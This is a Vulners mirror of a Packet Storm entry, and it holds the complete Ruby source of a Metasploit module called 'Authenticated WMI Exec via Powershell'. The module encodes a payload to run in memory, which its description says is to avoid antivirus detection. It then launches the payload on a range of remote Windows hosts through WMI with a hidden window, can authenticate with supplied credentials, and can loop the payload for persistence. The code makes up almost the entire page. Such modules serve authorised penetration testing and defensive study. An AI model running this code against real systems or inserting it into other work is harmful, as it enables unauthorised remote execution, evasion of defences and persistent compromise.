Lucene search
K

Authenticated WMI Exec Via Powershell

🗓️ 17 Nov 2016 00:00:00Reported by RageLtManType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

This module uses WMI execution to launch a payload instance on a remote machine, providing authentication options for the remote host and running the payload in a loop. Avoids AV detection by performing all execution in memory via psh-net encoded payload

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'msf/core'  
require 'msf/core/post/windows/powershell'  
require 'msf/core/post/windows/priv'  
require 'msf/core/exploit/powershell/dot_net'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Powershell  
include Msf::Exploit::Powershell::DotNet  
include Msf::Post::Windows::Priv  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Authenticated WMI Exec via Powershell",  
'Description' => %q{  
This module uses WMI execution to launch a payload instance on a remote machine.  
In order to avoid AV detection, all execution is performed in memory via psh-net  
encoded payload. Persistence option can be set to keep the payload looping while  
a handler is present to receive it. By default the module runs as the current  
process owner. The module can be configured with credentials for the remote host  
with which to launch the process.  
},  
'License' => MSF_LICENSE,  
'Author' => 'RageLtMan <rageltman[at]sempervictus>',  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' => { 'Space' => 8192 },  
'Platform' => [ 'windows' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [ [ 'Universal', {} ] ],  
'DefaultTarget' => 0,  
'DisclosureDate'=> "Aug 19 2012"  
  
))  
  
register_options(  
[  
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),  
OptString.new('USERNAME', [false, "Username to authenticate as"]),  
OptString.new('PASSWORD', [false, "Password to authenticate with"]),  
OptString.new('DOMAIN', [false, "Domain or machine name"]),  
  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),  
OptBool.new('RunRemoteWow64', [  
false,  
'Execute powershell in 32bit compatibility mode, payloads need native arch',  
false  
]),  
  
], self.class)  
  
end  
  
def build_script  
run_opts = {}  
run_opts[:username] = datastore['USERNAME']  
run_opts[:domain] = datastore['DOMAIN'] || '.'  
run_opts[:password] = datastore['PASSWORD']  
  
# End of file marker  
eof = Rex::Text.rand_text_alpha(8)  
env_suffix = Rex::Text.rand_text_alpha(8)  
  
# Create base64 encoded payload  
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)  
if datastore['PowerShellPersist']  
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)  
sleep_time = rand(5)+5  
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"  
end  
psh_payload = compress_script(psh_payload_raw, eof)  
# WMI exec function - this is going into powershell.rb after pull 701 is commited  
script = ps_wmi_exec(run_opts)  
# Build WMI exec calls to every host into the script to reduce PS instances  
# Need to address arch compat issue here, check powershell.exe arch, check pay arch  
# split the hosts into wow64 and native, and run each range separately  
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'  
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails  
  
if datastore["RHOSTS"]  
# Iterate through our hosts list adding a call to the WMI wrapper for each.  
# This should learn to differentiate between hosts and call WOW64 as appropriate,  
# as well as putting the payload into a variable when many hosts are hit so the  
# uploaded script is not bloated since each encoded payload is bulky.  
  
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|  
if run_opts[:username] and run_opts[:password]  
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""  
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"  
else  
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"  
end  
end  
else  
print_status('Running Locally')  
script = psh_payload_raw  
end  
return script  
end  
  
def exploit  
# Make sure we meet the requirements before running the script  
unless have_powershell?  
fail_with(Failure::BadConfig, 'PowerShell not found')  
end  
  
  
# SYSTEM doesnt have credentials on remote hosts  
if is_system? and datastore['RHOSTS']  
print_error("Cannot run as local system on remote hosts")  
return 0  
end  
  
script = build_script  
  
if datastore['Powershell::Post::dry_run']  
print_good script  
return  
end  
  
begin  
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)  
print_good(psh_output)  
rescue Rex::TimeoutError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
end  
  
vprint_good('PSH WMI exec is complete.')  
end  
  
# Wrapper function for instantiating a WMI win32_process  
# class object in powershell.  
# Insantiates the [wmiclass] object and configures the scope  
# Sets impersonation level and injects credentials as needed  
# Configures application startup options to hide the newly  
# created window. Adds start-up check for remote proc.  
def ps_wmi_exec(opts = {})  
  
ps_wrapper = <<EOS  
Function New-RemoteProcess {  
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)  
$ErrorActionPreference="SilentlyContinue"  
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"  
EOS  
if opts[:username] and opts[:password]  
ps_wrapper += <<EOS  
$proc.psbase.Scope.Options.userName = $login  
$proc.psbase.Scope.Options.Password = $pass  
EOS  
end  
ps_wrapper += <<EOS  
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate  
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy  
$startup = [wmiclass]"Win32_ProcessStartup"  
$startup.Properties['ShowWindow'].value=$False  
$remote = $proc.Create($cmd,'C:\\',$startup)  
if ($remote.returnvalue -eq 0) {  
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid  
} else {  
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue  
}  
}  
  
EOS  
  
return ps_wrapper  
end  
  
end  
  
  
#  
# Ideally the methods to create WMI wrapper functions and their callers  
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.  
#  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation